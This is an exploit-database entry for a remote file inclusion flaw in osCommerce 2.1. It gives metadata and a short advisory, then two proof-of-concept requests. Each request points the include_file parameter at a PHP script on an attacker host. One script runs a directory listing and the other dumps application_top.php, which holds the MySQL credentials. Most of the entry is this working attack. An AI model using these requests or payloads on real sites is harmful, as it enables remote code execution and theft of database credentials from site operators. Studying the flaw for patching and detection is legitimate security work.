osCommerce 2.1 - Remote File Inclusion
Author: Tim Vandermeerch
type: webapps
platform: php
port:
date_added: 2002-06-16
date_updated: 2012-09-27
verified: 1
codes: CVE-2002-2019;OSVDB-7377;CVE-2002-1991
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/5037/info
osCommerce is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver.
-------- Example 1 --------
http://SERVER/catalog/inludes/include_once.php?
include_file=http://MYBOX/a.php
--- a.php ---
<? passthru("/bin/ls")?>
-------------
Output: dir listing of the current dierctory
---------------------------
-------- Example 2 --------
http://SERVER/catalog/inludes/include_once.php?
include_file=http://MYBOX/b.php
--- b.php ---
<? passthru("/bin/cat application_top.php")?>
-------------
Output: outputs the application_top.php file wich includes MySQL username,
password, etc.